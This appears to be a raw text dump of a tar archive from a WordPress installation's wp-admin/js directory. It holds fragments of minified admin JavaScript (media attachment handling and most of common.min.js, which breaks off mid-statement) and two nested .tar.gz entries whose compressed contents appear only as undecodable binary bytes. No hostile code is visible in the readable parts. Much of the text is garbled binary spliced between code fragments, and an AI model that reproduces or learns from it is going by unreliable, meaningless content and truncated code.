findPosts.send(),!1}),s("#find-posts-search").on("click",findPosts.send),s("#find-posts-close").on("click",findPosts.close),s("#doaction").on("click",function(e){s('select[name="action"]').each(function(){var n=s(this).val();"attach"===n?(e.preventDefault(),findPosts.open()):"delete"!==n||showNotice.warn()||e.preventDefault()})}),s(".find-box-inside").on("click","tr",function(){s(this).find(".found-radio input").prop("checked",!0)}),i.on("success",function(n){var e=s(n.trigger),i=s(".success",e.closest(".copy-to-clipboard-container"));n.clearSelection(),e.trigger("focus"),clearTimeout(o),i.removeClass("hidden"),o=setTimeout(function(){i.addClass("hidden")},3e3),wp.a11y.speak(wp.i18n.__("The file URL has been copied to your clipboard"))})})}(jQuery);custom-html-widgets.js.js.tar.gz000064400000010755150276633110012655 0ustar00��[�s�6�W��@�\%�e;���%q�iz���i�!��@$$!�HAYvS�ﷻx�(Yn���\=ml�X,���4��b��JV�Ȇq)TŕZ�"��|>\��e6���K�LE���BU�|0���E�g����ޝ;�����;�������ܿwp퇇������6�KX�?�����v�W�a���EŶ?o�5��~Ŧi>�)���,T*���y���DV
��T#��튲���>ۅΪ��]�.���9��x�-�cQ�,7�#ە�,/�.�����w��aC�"�s�
`'�|l�!�i�\ �@;h��1��"�+�g=v��;��B	��R�U�hg�s�K���p*�C:2y̕��v5�(�.{ׇ�8O��DVyy*�JfS��
{҃�lD:��y%caZ:
�.R^�X�ۧ�"]�<���j���B�G�Ic['Z��c��aP��H\�!%=!{��_�Mvj��(�*�.�t�,:�5Rg�xQ���4����WW�6��@-��k�i�cFmj�gU�����mf��t��2��c����_��%�;�Y^��(6`/�_Q8��?��t�"��P{)҄6�e&J&R��\CB]f񉛣���r&J��+��O�"6�KV��(�EH�բ����\&���LV���gPEk�n���iM�&a��U�L��>��`&t�Y�/Y����ǺϥB}�w�ޑU�&�P�S
��࿡u8���}G1OӞ�i��Q�J�vܾt0Ck�3�!0��PZg�ۋ&��u#����Dt���^��M�'�g��N���64�qe� �5��kֺ��Y�-v��ͦ=���{�ժcG�iē�$tҳ�ՏI����)�<�C�P�y��
�p:��)5�Ĝ�g?���S��j��z�(1��ld/܄��}��y�G���Hh� n�k}%����,�+���}j$?�UF�N@Ľ�i�'��rck� }���=ͽ�,^s�8p0��H�
��u�&<��`��Ll��`�� �o<��BV���u�
:��B�P�	�ə��NA��5^�u���d���<�m]�d<c ���K�O�;�ѡ��g�Ai}�P�3\���~��Ǻ7�]�\<��Ttk2lQ$ J�[�ѳ���#�Dc�2Y�`�ֈ�=~�49rꎞ�6���co��q�	���<ZNg:�V� 
-�+c�xh`��=3^y��9ZV�����9�B�%M�+���/�s)�Ã2�e�řhL5O���kl��~5pԏ�x���2�kݪ�Ї�!�{�_1|��
�jl�g�m2���;$�<
iٹ� CXl���1ʹ�6��hR9²�h��X�>+�
&�H	EI�-��\���QS�uso-������8�#�$��6E8=�xjP[�ܿʲ��:r�jeqҰ����g�bB9�*��|)��H�:4���1�4�>�:�)2�^�ׁ�o�3-�:5Ů�k����G��3�b*���\�v)���f�pt#����1��O��I��eŁ�H�pnM}�Md
j$��"MvD_ͭ6�ǗD,�xgN�۬����~�e����\�L#��.����4��$y�jvԢ��{�MjY�VŴb٨�+��t��Z�2BU�����QYrH�D
tr�kf���x���u�]!��_x0���B)>E��=k�jϣ�c8��:�4�!��j���{F����p�x�/	��=p�$��p�uK>�n���Z4������.�8jW����"	>��'��`.�7��s����+1��q���W=�V���7;An>��T�ZIDh�i�2F�5SyO�uvH���:��n)����)���›�6�";#��=��i�,|ĺz��mN;4���v��y�	�p��&��,���xWf�e�q.��w8�V��œN����ꚦ\���A��J\Tn�;�
mJ#HdAO�i�7��<� ��K<�	W��3���*?[1}���cѠ��쟹��
�7)\�켵|��6;����g���j���s"�",��V^�乑.��KH&���mS~;��09�F�c`F���̲��Bz��)K�u:y����|�#䠽N[�'����������zA�n��<�SU��hR�J�}�Medy�3V��)�p�|M��a���	�l�AY4�,k	��-�%�
��V�vB���Y��cK�zl�M	�9w�xM~�D��NZ
�z��~\�WYK�6r��sU>���V��:Ѭ�8��3��v��Sh��
�n�����N�4�r�4�o-ڡ`��m�v8d��E	8�OyyCȓc,4^�I��mH�@w/#OYPq��*{F�0�
��q~a��:]^J>�/�J��.�("�N�X`If|�m��2���H��K96���|&.�9/�AU�b0i18`�7����wGø�Z��R�I�
q*�3����])F����~�_7\�w�>��W��5ӄՃ�kS�٬^�YNuk�@��y�BI��~�a~�sCM���h��F
�0�!QSݎi/�X�mK�e�m����5�9�f=�g�.bt��� �˕�xݕg^	��L-����R*[::A�r�X����E[����ʳ]���*rs�f{���L����u�.�Ӕt�ZW�����T�z�#��I %��(��ﺱ���}]zf�OCO`���}���¤�
�g���s��s��>թ��%B�~�A�"��9$c��&V*Ϟ Е��8��žu�6�bLY����4�����K�����/�oU_��v���ă�
0�t%\�Ԯ�-To�;�}�˦^�r�8��,��\4��,{w��f����'׳���S�yeT�[b�
����l�`��u����.�@j
)��
�t*���Ӽ�W8Ѫ�ʮ{���y��WI�hz�`o�-�]��L�gO�X��~�(ND�b�#�<�͝�[W_�����lZ�%?`,
&�qKv؛^����6�pp�Y��uNآ�0�]=Ҹq��K7�G��}zQs���Ђ��@�f��4�t&���gN�.�u*x�ԙJ
�'�F���;']zs�ʪ]���:�}봁�[Ǥ)��O���Umw6���b�]���R�K��?y���\?Ч�AW���D����"���L�Ax+���tþ;���dW�_�W߽2J�_ܚ���%��1�ac�4/*)�%f֦�mn�q��'t~��%p���{m٣*)�y�@*M���y|�����"�Z�s�KcR64,zҷA�ʽ�m�lw�d��;Q�f?�p?���� �ۧ�?e�]
���E2�\�*�|�<%3���;pe�Ыx�ذ��|Y�ƽ4fD���D�5���j&
Vú���,uj'�Q�SR�_|�����2��Щ���O:	_%r���g]�2W�z� ;�fB����(�Z�1b�x�q�\�؞{㘵�����/�{35�\Bv
����1���<��gM�����Ƴ?���C�p7��9�E<	t�l�2��"��RX'����[��3.J�h�(R	��r	�9���q����@r�fUU��p8�q�1=ٿX�e^&`�JA~.Ҽ�4޹?�!sȡ�wo��@+d��q������R��1Z����h��ѰG�B0*j�Va�p�v�P!�Gfr*���m1Z�T��t�n��n���5R�ddR#�w�������W#�o�>�#�M�������0���V#�3��{"Cy��Vv�d�Ih,im-�	��]璓ߵodM]�k�=U�s@�4����
_�7��W��b�9�j�����0�C��P�L����&��t]Bh�o�ֹ_�	i{�]3�?2�ژ8y<��S�5l�ϟ�"�Ș���æ�nĭJps�۴Sq!U�����O$�,�3mϘ��y�Ev�N��bpfoP�B@�
��a7X/
�:Y15�i���1�tBЦ\U�S!����j֝���ʜq��/渻���N�Dhe䂏�����o�r
.�$���9��e����>�Z�/6�7�M]�y�H�ZS�Uۧ��
�����I{A��g�麩!�$�(�wa�Te(Z��W���\��ݠ�H#��<ļ6��Dף\t@������+�gB?Jք��~�!K�P.��ϛ
#*�U�r�hm@Sn{h����UAc�7B�F)�v���@n�Y0s��r;5O*�4͗�F@ڮ3��\V�{�
��+��X�5�)������v����>�1ބ�(x��R�~�j�\u�	���KH�"˗�u�LF�������r�������?�2�;o�5ٽn���l~�I?���\M��u�m�yzz���S���5��O^۽�Z�*z}0��4l�k����>j��̙87D5�S���.���
ÿ�
�G�5T�4�Fg:��^K��Q�JS�f�(@��^co�E�V�A.�����\��Q�������ϟ����:�iDcustom-background.js.js.tar.gz000064400000002376150276633110012364 0ustar00��WQo�6��+mɁ#;i�.��M�!�fX�!�%�fJ�I�q[�����8�C���-���}:ݝgz��9�W��p똵��e^�`Q�r.�����:=?�����Z���}���xur��_:=}���tx�����x�
珇��O`���I1�.��������kW�����v��78���c&�ݰ���8KP�TXǍ&%�[����6��g���f:���Na�*8�̇���2��Z`X�ͯ57K:@6�U�V�~��%��34��2�漏7�xz1gSg�����_N��f�=�$A�
cC9���'�Ҧ��g�Ph��*Q|��*a,T��S��O��9�9a��)��L�j��˭������/:g%�i/_T���!��z�#��C- ��j��f�Xo��e��3���ʂW$%Qm�m�4�(������p�`�g痗P]q㖰�q��̣�B���1@���'�����r����:{���}=�C%�������h�>�LXĹe7�:�	Si+����i��e��>���4j@v���3��J�v�Bv�E���1���(`�Hx�Q1�JĆ �f0�T�f�?�9NJ���vBv�O���rk�ojj��$M'⎦��][(	S	D�TS��>�/��#�t��P̴��pb��I16�,�W}JA$����PQ_.����*	�䕡�|�j鲸6�ń�̉U[,���r	�{���S�<�DL ��Mݠ��e�@$�d,��9�:��0�v.9-�4a�P�߭#sm��ǽ�@���t�K&	;����&/�cYtN{���7�]N�
�;��J.��
��SEމ[V���΃�Vk���*ʶυ�q�V-\�`]*��5L�;�ХRW�KT�A��8k)�����
���T��t�1˴{���[㓟`�4#��7_>c�Q|�B�
y!i��zt�=�6�(������L=ĸ�q
�@�;��
q����Y��~��L1JU�<�Z�C�ٰqxd�$�|X�7��#�b$c��x�˧�eх��|"�uͫ�7+����ɺmg�M�m�����7m4}�I��ث�o��?�i��N�&%�A�s��.k:�~j�N6�B��-t�5�kQ��"�2�\{�k:��C*��.���m�^^j�4���U[
=��ZI�}�OAR��V���"�[���`/v�ԫخ���OBa8-���7�f��k��������=���4�ƽ�7X��1common.min.js.tar000064400000057000150276633110007747 0ustar00home/natitnen/crestassured.com/wp-admin/js/common.min.js000064400000053106150265122570017352 0ustar00/*! This file is auto-generated */
!function(W,$){var Q=W(document),V=W($),q=W(document.body),H=wp.i18n.__,i=wp.i18n.sprintf;function r(e,t,n){n=void 0!==n?i(H("%1$s is deprecated since version %2$s! Use %3$s instead."),e,t,n):i(H("%1$s is deprecated since version %2$s with no alternative available."),e,t);$.console.warn(n)}function e(i,o,a){var s={};return Object.keys(o).forEach(function(e){var t=o[e],n=i+"."+e;"object"==typeof t?Object.defineProperty(s,e,{get:function(){return r(n,a,t.alternative),t.func()}}):Object.defineProperty(s,e,{get:function(){return r(n,a,"wp.i18n"),t}})}),s}$.wp.deprecateL10nObject=e,$.commonL10n=$.commonL10n||{warnDelete:"",dismiss:"",collapseMenu:"",expandMenu:""},$.commonL10n=e("commonL10n",$.commonL10n,"5.5.0"),$.wpPointerL10n=$.wpPointerL10n||{dismiss:""},$.wpPointerL10n=e("wpPointerL10n",$.wpPointerL10n,"5.5.0"),$.userProfileL10n=$.userProfileL10n||{warn:"",warnWeak:"",show:"",hide:"",cancel:"",ariaShow:"",ariaHide:""},$.userProfileL10n=e("userProfileL10n",$.userProfileL10n,"5.5.0"),$.privacyToolsL10n=$.privacyToolsL10n||{noDataFound:"",foundAndRemoved:"",noneRemoved:"",someNotRemoved:"",removalError:"",emailSent:"",noExportFile:"",exportError:""},$.privacyToolsL10n=e("privacyToolsL10n",$.privacyToolsL10n,"5.5.0"),$.authcheckL10n={beforeunload:""},$.authcheckL10n=$.authcheckL10n||e("authcheckL10n",$.authcheckL10n,"5.5.0"),$.tagsl10n={noPerm:"",broken:""},$.tagsl10n=$.tagsl10n||e("tagsl10n",$.tagsl10n,"5.5.0"),$.adminCommentsL10n=$.adminCommentsL10n||{hotkeys_highlight_first:{alternative:"window.adminCommentsSettings.hotkeys_highlight_first",func:function(){return $.adminCommentsSettings.hotkeys_highlight_first}},hotkeys_highlight_last:{alternative:"window.adminCommentsSettings.hotkeys_highlight_last",func:function(){return $.adminCommentsSettings.hotkeys_highlight_last}},replyApprove:"",reply:"",warnQuickEdit:"",warnCommentChanges:"",docTitleComments:"",docTitleCommentsCount:""},$.adminCommentsL10n=e("adminCommentsL10n",$.adminCommentsL10n,"5.5.0"),$.tagsSuggestL10n=$.tagsSuggestL10n||{tagDelimiter:"",removeTerm:"",termSelected:"",termAdded:"",termRemoved:""},$.tagsSuggestL10n=e("tagsSuggestL10n",$.tagsSuggestL10n,"5.5.0"),$.wpColorPickerL10n=$.wpColorPickerL10n||{clear:"",clearAriaLabel:"",defaultString:"",defaultAriaLabel:"",pick:"",defaultLabel:""},$.wpColorPickerL10n=e("wpColorPickerL10n",$.wpColorPickerL10n,"5.5.0"),$.attachMediaBoxL10n=$.attachMediaBoxL10n||{error:""},$.attachMediaBoxL10n=e("attachMediaBoxL10n",$.attachMediaBoxL10n,"5.5.0"),$.postL10n=$.postL10n||{ok:"",cancel:"",publishOn:"",publishOnFuture:"",publishOnPast:"",dateFormat:"",showcomm:"",endcomm:"",publish:"",schedule:"",update:"",savePending:"",saveDraft:"",private:"",public:"",publicSticky:"",password:"",privatelyPublished:"",published:"",saveAlert:"",savingText:"",permalinkSaved:""},$.postL10n=e("postL10n",$.postL10n,"5.5.0"),$.inlineEditL10n=$.inlineEditL10n||{error:"",ntdeltitle:"",notitle:"",comma:"",saved:""},$.inlineEditL10n=e("inlineEditL10n",$.inlineEditL10n,"5.5.0"),$.plugininstallL10n=$.plugininstallL10n||{plugin_information:"",plugin_modal_label:"",ays:""},$.plugininstallL10n=e("plugininstallL10n",$.plugininstallL10n,"5.5.0"),$.navMenuL10n=$.navMenuL10n||{noResultsFound:"",warnDeleteMenu:"",saveAlert:"",untitled:""},$.navMenuL10n=e("navMenuL10n",$.navMenuL10n,"5.5.0"),$.commentL10n=$.commentL10n||{submittedOn:"",dateFormat:""},$.commentL10n=e("commentL10n",$.commentL10n,"5.5.0"),$.setPostThumbnailL10n=$.setPostThumbnailL10n||{setThumbnail:"",saving:"",error:"",done:""},$.setPostThumbnailL10n=e("setPostThumbnailL10n",$.setPostThumbnailL10n,"5.5.0"),$.adminMenu={init:function(){},fold:function(){},restoreMenuState:function(){},toggle:function(){},favorites:function(){}},$.columns={init:function(){var n=this;W(".hide-column-tog","#adv-settings").on("click",function(){var e=W(this),t=e.val();e.prop("checked")?n.checked(t):n.unchecked(t),columns.saveManageColumnsState()})},saveManageColumnsState:function(){var e=this.hidden();W.post(ajaxurl,{action:"hidden-columns",hidden:e,screenoptionnonce:W("#screenoptionnonce").val(),page:pagenow})},checked:function(e){W(".column-"+e).removeClass("hidden"),this.colSpanChange(1)},unchecked:function(e){W(".column-"+e).addClass("hidden"),this.colSpanChange(-1)},hidden:function(){return W(".manage-column[id]").filter(".hidden").map(function(){return this.id}).get().join(",")},useCheckboxesForHidden:function(){this.hidden=function(){return W(".hide-column-tog").not(":checked").map(function(){var e=this.id;return e.substring(e,e.length-5)}).get().join(",")}},colSpanChange:function(e){var t=W("table").find(".colspanchange");t.length&&(e=parseInt(t.attr("colspan"),10)+e,t.attr("colspan",e.toString()))}},W(function(){columns.init()}),$.validateForm=function(e){return!W(e).find(".form-required").filter(function(){return""===W(":input:visible",this).val()}).addClass("form-invalid").find(":input:visible").on("change",function(){W(this).closest(".form-invalid").removeClass("form-invalid")}).length},$.showNotice={warn:function(){return!!confirm(H("You are about to permanently delete these items from your site.\nThis action cannot be undone.\n'Cancel' to stop, 'OK' to delete."))},note:function(e){alert(e)}},$.screenMeta={element:null,toggles:null,page:null,init:function(){this.element=W("#screen-meta"),this.toggles=W("#screen-meta-links").find(".show-settings"),this.page=W("#wpcontent"),this.toggles.on("click",this.toggleEvent)},toggleEvent:function(){var e=W("#"+W(this).attr("aria-controls"));e.length&&(e.is(":visible")?screenMeta.close(e,W(this)):screenMeta.open(e,W(this)))},open:function(e,t){W("#screen-meta-links").find(".screen-meta-toggle").not(t.parent()).css("visibility","hidden"),e.parent().show(),e.slideDown("fast",function(){e.removeClass("hidden").trigger("focus"),t.addClass("screen-meta-active").attr("aria-expanded",!0)}),Q.trigger("screen:options:open")},close:function(e,t){e.slideUp("fast",function(){t.removeClass("screen-meta-active").attr("aria-expanded",!1),W(".screen-meta-toggle").css("visibility",""),e.parent().hide(),e.addClass("hidden")}),Q.trigger("screen:options:close")}},W(".contextual-help-tabs").on("click","a",function(e){var t=W(this);if(e.preventDefault(),t.is(".active a"))return!1;W(".contextual-help-tabs .active").removeClass("active"),t.parent("li").addClass("active"),e=W(t.attr("href")),W(".help-tab-content").not(e).removeClass("active").hide(),e.addClass("active").show()});var t,a=!1,s=W("#permalink_structure"),n=W(".permalink-structure input:radio"),l=W("#custom_selection"),o=W(".form-table.permalink-structure .available-structure-tags button");function c(e){-1!==s.val().indexOf(e.text().trim())?(e.attr("data-label",e.attr("aria-label")),e.attr("aria-label",e.attr("data-used")),e.attr("aria-pressed",!0),e.addClass("active")):e.attr("data-label")&&(e.attr("aria-label",e.attr("data-label")),e.attr("aria-pressed",!1),e.removeClass("active"))}function d(){Q.trigger("wp-window-resized")}n.on("change",function(){"custom"!==this.value&&(s.val(this.value),o.each(function(){c(W(this))}))}),s.on("click input",function(){l.prop("checked",!0)}),s.on("focus",function(e){a=!0,W(this).off(e)}),o.each(function(){c(W(this))}),s.on("change",function(){o.each(function(){c(W(this))})}),o.on("click",function(){var e=s.val(),t=s[0].selectionStart,n=s[0].selectionEnd,i=W(this).text().trim(),o=W(this).hasClass("active")?W(this).attr("data-removed"):W(this).attr("data-added");-1!==e.indexOf(i)?(e=e.replace(i+"/",""),s.val("/"===e?"":e),W("#custom_selection_updated").text(o),c(W(this))):(a||0!==t||0!==n||(t=n=e.length),l.prop("checked",!0),"/"!==e.substr(0,t).substr(-1)&&(i="/"+i),"/"!==e.substr(n,1)&&(i+="/"),s.val(e.substr(0,t)+i+e.substr(n)),W("#custom_selection_updated").text(o),c(W(this)),a&&s[0].setSelectionRange&&(n=(e.substr(0,t)+i).length,s[0].setSelectionRange(n,n),s.trigger("focus")))}),W(function(){var n,i,o,a,e,t,s,r,l,c,d=!1,u=W("input.current-page"),z=u.val(),p=/iPhone|iPad|iPod/.test(navigator.userAgent),N=-1!==navigator.userAgent.indexOf("Android"),m=W("#adminmenuwrap"),h=W("#wpwrap"),f=W("#adminmenu"),g=W("#wp-responsive-overlay"),v=W("#wp-toolbar"),b=v.find('a[aria-haspopup="true"]'),w=W(".meta-box-sortables"),k=!1,C=W("#wpadminbar"),y=0,L=!1,x=!1,S=0,P=!1,T={window:V.height(),wpwrap:h.height(),adminbar:C.height(),menu:m.height()},A=W(".wp-header-end");function M(){var e=W("a.wp-has-current-submenu");"folded"===s?e.attr("aria-haspopup","true"):e.attr("aria-haspopup","false")}function _(e){var t=e.find(".wp-submenu"),e=e.offset().top,n=V.scrollTop(),i=e-n-30,e=e+t.height()+1,o=60+e-h.height(),n=V.height()+n-50;1<(o=i<(o=n<e-o?e-n:o)?i:o)&&W("#wp-admin-bar-menu-toggle").is(":hidden")?t.css("margin-top","-"+o+"px"):t.css("margin-top","")}function D(){W(".notice.is-dismissible").each(function(){var t=W(this),e=W('<button type="button" class="notice-dismiss"><span class="screen-reader-text"></span></button>');t.find(".notice-dismiss").length||(e.find(".screen-reader-text").text(H("Dismiss this notice.")),e.on("click.wp-dismiss-notice",function(e){e.preventDefault(),t.fadeTo(100,0,function(){t.slideUp(100,function(){t.remove()})})}),t.append(e))})}function E(e,t,n,i){n.on("change",function(){e.val(W(this).val())}),e.on("change",function(){n.val(W(this).val())}),i.on("click",function(e){e.preventDefault(),e.stopPropagation(),t.trigger("click")})}function R(){r.prop("disabled",""===l.map(function(){return W(this).val()}).get().join(""))}function F(e){var t=V.scrollTop(),e=!e||"scroll"!==e.type;if(!p&&!f.data("wp-responsive"))if(T.menu+T.adminbar<T.window||T.menu+T.adminbar+20>T.wpwrap)j();else{if(P=!0,T.menu+T.adminbar>T.window){if(t<0)return void(L||(x=!(L=!0),m.css({position:"fixed",top:"",bottom:""})));if(t+T.window>Q.height()-1)return void(x||(L=!(x=!0),m.css({position:"fixed",top:"",bottom:0})));y<t?L?(L=!1,(S=m.offset().top-T.adminbar-(t-y))+T.menu+T.adminbar<t+T.window&&(S=t+T.window-T.menu-T.adminbar),m.css({position:"absolute",top:S,bottom:""})):!x&&m.offset().top+T.menu<t+T.window&&(x=!0,m.css({position:"fixed",top:"",bottom:0})):t<y?x?(x=!1,(S=m.offset().top-T.adminbar+(y-t))+T.menu>t+T.window&&(S=t),m.css({position:"absolute",top:S,bottom:""})):!L&&m.offset().top>=t+T.adminbar&&(L=!0,m.css({position:"fixed",top:"",bottom:""})):e&&(L=x=!1,0<(S=t+T.window-T.menu-T.adminbar-1)?m.css({position:"absolute",top:S,bottom:""}):j())}y=t}}function U(){T={window:V.height(),wpwrap:h.height(),adminbar:C.height(),menu:m.height()}}function j(){!p&&P&&(L=x=P=!1,m.css({position:"",top:"",bottom:""}))}function O(){U(),f.data("wp-responsive")?(q.removeClass("sticky-menu"),j()):T.menu+T.adminbar>T.window?(F(),q.removeClass("sticky-menu")):(q.addClass("sticky-menu"),j())}function K(){W(".aria-button-if-js").attr("role","button")}function I(){var e=!1;return e=$.innerWidth?Math.max($.innerWidth,document.documentElement.clientWidth):e}function B(){var e=I()||961;s=e<=782?"responsive":q.hasClass("folded")||q.hasClass("auto-fold")&&e<=960&&782<e?"folded":"open",Q.trigger("wp-menu-state-set",{state:s})}f.on("click.wp-submenu-head",".wp-submenu-head",function(e){W(e.target).parent().siblings("a").get(0).click()}),W("#collapse-button").on("click.collapse-menu",function(){var e=I()||961;W("#adminmenu div.wp-submenu").css("margin-top",""),s=e<=960?q.hasClass("auto-fold")?(q.removeClass("auto-fold").removeClass("folded"),setUserSetting("unfold",1),setUserSetting("mfold","o"),"open"):(q.addClass("auto-fold"),setUserSetting("unfold",0),"folded"):q.hasClass("folded")?(q.removeClass("folded"),setUserSetting("mfold","o"),"open"):(q.addClass("folded"),setUserSetting("mfold","f"),"folded"),Q.trigger("wp-collapse-menu",{state:s})}),Q.on("wp-menu-state-set wp-collapse-menu wp-responsive-activate wp-responsive-deactivate",M),("ontouchstart"in $||/IEMobile\/[1-9]/.test(navigator.userAgent))&&(q.on((c=p?"touchstart":"click")+".wp-mobile-hover",function(e){f.data("wp-responsive")||W(e.target).closest("#adminmenu").length||f.find("li.opensub").removeClass("opensub")}),f.find("a.wp-has-submenu").on(c+".wp-mobile-hover",function(e){var t=W(this).parent();f.data("wp-responsive")||t.hasClass("opensub")||t.hasClass("wp-menu-open")&&!(t.width()<40)||(e.preventDefault(),_(t),f.find("li.opensub").removeClass("opensub"),t.addClass("opensub"))})),p||N||(f.find("li.wp-has-submenu").hoverIntent({over:function(){var e=W(this),t=e.find(".wp-submenu"),t=parseInt(t.css("top"),10);isNaN(t)||-5<t||f.data("wp-responsive")||(_(e),f.find("li.opensub").removeClass("opensub"),e.addClass("opensub"))},out:function(){f.data("wp-responsive")||W(this).removeClass("opensub").find(".wp-submenu").css("margin-top","")},timeout:200,sensitivity:7,interval:90}),f.on("focus.adminmenu",".wp-submenu a",function(e){f.data("wp-responsive")||W(e.target).closest("li.menu-top").addClass("opensub")}).on("blur.adminmenu",".wp-submenu a",function(e){f.data("wp-responsive")||W(e.target).closest("li.menu-top").removeClass("opensub")}).find("li.wp-has-submenu.wp-not-current-submenu").on("focusin.adminmenu",function(){_(W(this))})),A.length||(A=W(".wrap h1, .wrap h2").first()),W("div.updated, div.error, div.notice").not(".inline, .below-h2").insertAfter(A),Q.on("wp-updates-notice-added wp-plugin-install-error wp-plugin-update-error wp-plugin-delete-error wp-theme-install-error wp-theme-delete-error",D),screenMeta.init(),q.on("click","tbody > tr > .check-column :checkbox",function(e){if("undefined"!=e.shiftKey){if(e.shiftKey){if(!d)return!0;n=W(d).closest("form").find(":checkbox").filter(":visible:enabled"),i=n.index(d),o=n.index(this),a=W(this).prop("checked"),0<i&&0<o&&i!=o&&(i<o?n.slice(i,o):n.slice(o,i)).prop("checked",function(){return!!W(this).closest("tr").is(":visible")&&a})}var t=W(d=this).closest("tbody").find(":checkbox").filter(":visible:enabled").not(":checked");W(this).closest("table").children("thead, tfoot").find(":checkbox").prop("checked",function(){return 0===t.length})}return!0}),q.on("click.wp-toggle-checkboxes","thead .check-column :checkbox, tfoot .check-column :checkbox",function(e){var t=W(this),n=t.closest("table"),i=t.prop("checked"),o=e.shiftKey||t.data("wp-toggle");n.children("tbody").filter(":visible").children().children(".check-column").find(":checkbox").prop("checked",function(){return!W(this).is(":hidden,:disabled")&&(o?!W(this).prop("checked"):!!i)}),n.children("thead,  tfoot").filter(":visible").children().children(".check-column").find(":checkbox").prop("checked",function(){return!o&&!!i})}),E(W("#bulk-action-selector-top"),W("#doaction"),W("#bulk-action-selector-bottom"),W("#doaction2")),E(W("#new_role"),W("#changeit"),W("#new_role2"),W("#changeit2")),W("#wpbody-content").on({focusin:function(){clearTimeout(e),t=W(this).find(".row-actions"),W(".row-actions").not(this).removeClass("visible"),t.addClass("visible")},focusout:function(){e=setTimeout(function(){t.removeClass("visible")},30)}},".table-view-list .has-row-actions"),W("tbody").on("click",".toggle-row",function(){W(this).closest("tr").toggleClass("is-expanded")}),W("#default-password-nag-no").on("click",function(){return setUserSetting("default_password_nag","hide"),W("div.default-password-nag").hide(),!1}),W("#newcontent").on("keydown.wpevent_InsertTab",function(e){var t,n,i,o,a=e.target;27==e.keyCode?(e.preventDefault(),W(a).data("tab-out",!0)):9!=e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||(W(a).data("tab-out")?W(a).data("tab-out",!1):(t=a.selectionStart,n=a.selectionEnd,i=a.value,document.selection?(a.focus(),document.selection.createRange().text="\t"):0<=t&&(o=this.scrollTop,a.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=a.selectionEnd=t+1,this.scrollTop=o),e.stopPropagation&&e.stopPropagation(),e.preventDefault&&e.preventDefault()))}),u.length&&u.closest("form").on("submit",function(){-1==W('select[name="action"]').val()&&u.val()==z&&u.val("1")}),W('.search-box input[type="search"], .search-box input[type="submit"]').on("mousedown",function(){W('select[name^="action"]').val("-1")}),W("#contextual-help-link, #show-settings-link").on("focus.scroll-into-view",function(e){e.target.scrollIntoViewIfNeeded&&e.target.scrollIntoViewIfNeeded(!1)}),(c=W("form.wp-upload-form")).length&&(r=c.find('input[type="submit"]'),l=c.find('input[type="file"]'),R(),l.on("change",R)),p||(V.on("scroll.pin-menu",F),Q.on("tinymce-editor-init.pin-menu",function(e,t){t.on("wp-autoresize",U)})),$.wpResponsive={init:function(){var e=this;this.maybeDisableSortables=this.maybeDisableSortables.bind(this),Q.on("wp-responsive-activate.wp-responsive",function(){e.activate()}).on("wp-responsive-deactivate.wp-responsive",function(){e.deactivate()}),W("#wp-admin-bar-menu-toggle a").attr("aria-expanded","false"),W("#wp-admin-bar-menu-toggle").on("click.wp-responsive",function(e){e.preventDefault(),C.find(".hover").removeClass("hover"),h.toggleClass("wp-responsive-open"),h.hasClass("wp-responsive-open")?(W(this).find("a").attr("aria-expanded","true"),W("#adminmenu a:first").trigger("focus")):W(this).find("a").attr("aria-expanded","false")}),W(document).on("click",function(e){var t;h.hasClass("wp-responsive-open")&&document.hasFocus()&&(t=W.contains(W("#wp-admin-bar-menu-toggle")[0],e.target),e=W.contains(W("#adminmenuwrap")[0],e.target),t||e||W("#wp-admin-bar-menu-toggle").trigger("click.wp-responsive"))}),W(document).on("keyup",function(e){var n,i,o=W("#wp-admin-bar-menu-toggle")[0];h.hasClass("wp-responsive-open")&&(27===e.keyCode?(W(o).trigger("click.wp-responsive"),W(o).find("a").trigger("focus")):9===e.keyCode&&(n=W("#adminmenuwrap")[0],i=e.relatedTarget||document.activeElement,setTimeout(function(){var e=W.contains(o,i),t=W.contains(n,i);e||t||W(o).trigger("click.wp-responsive")},10)))}),f.on("click.wp-responsive","li.wp-has-submenu > a",function(e){f.data("wp-responsive")&&(W(this).parent("li").toggleClass("selected"),W(this).trigger("focus"),e.preventDefault())}),e.trigger(),Q.on("wp-window-resized.wp-responsive",this.trigger.bind(this)),V.on("load.wp-responsive",this.maybeDisableSortables),Q.on("postbox-toggled",this.maybeDisableSortables),W("#screen-options-wrap input").on("click",this.maybeDisableSortables)},maybeDisableSortables:function(){(-1<navigator.userAgent.indexOf("AppleWebKit/")?V.width():$.innerWidth)<=782||w.find(".ui-sortable-handle:visible").length<=1&&jQuery(".columns-prefs-1 input").prop("checked")?this.disableSortables():this.enableSortables()},activate:function(){O(),q.hasClass("auto-fold")||q.addClass("auto-fold"),f.data("wp-responsive",1),this.disableSortables()},deactivate:function(){O(),f.removeData("wp-responsive"),this.maybeDisableSortables()},trigger:function(){var e=I();e&&(e<=782?k||(Q.trigger("wp-responsive-activate"),k=!0):k&&(Q.trigger("wp-responsive-deactivate"),k=!1),e<=480?this.enableOverlay():this.disableOverlay(),this.maybeDisableSortables())},enableOverlay:function(){0===g.length&&(g=W('<div id="wp-responsive-overlay"></div>').insertAfter("#wpcontent").hide().on("click.wp-responsive",function(){v.find(".menupop.hover").removeClass("hover"),W(this).hide()})),b.on("click.wp-responsive",function(){g.show()})},disableOverlay:function(){b.off("click.wp-responsive"),g.hide()},disableSortables:function(){if(w.length)try{w.sortable("disable"),w.find(".ui-sortable-handle").addClass("is-non-sortable")}catch(e){}},enableSortables:function(){if(w.length)try{w.sortable("enable"),w.find(".ui-sortable-handle").removeClass("is-non-sortable")}catch(e){}}},W(document).on("ajaxComplete",function(){K()}),Q.on("wp-window-resized.set-menu-state",B),Q.on("wp-menu-state-set wp-collapse-menu",function(e,t){var n,i=W("#collapse-button"),t="folded"===t.state?(n="false",H("Expand Main menu")):(n="true",H("Collapse Main menu"));i.attr({"aria-expanded":n,"aria-label":t})}),$.wpResponsive.init(),O(),B(),M(),D(),K(),Q.on("wp-pin-menu wp-window-resized.pin-menu postboxes-columnchange.pin-menu postbox-toggled.pin-menu wp-collapse-menu.pin-menu wp-scroll-start.pin-menu",O),W(".wp-initial-focus").trigger("focus"),q.on("click",".js-update-details-toggle",function(){var e=W(this).closest(".js-update-details"),t=W("#"+e.data("update-details"));t.hasClass("update-details-moved")||t.insertAfter(e).addClass("update-details-moved"),t.toggle(),W(this).attr("aria-expanded",t.is(":visible"))})}),W(function(e){var 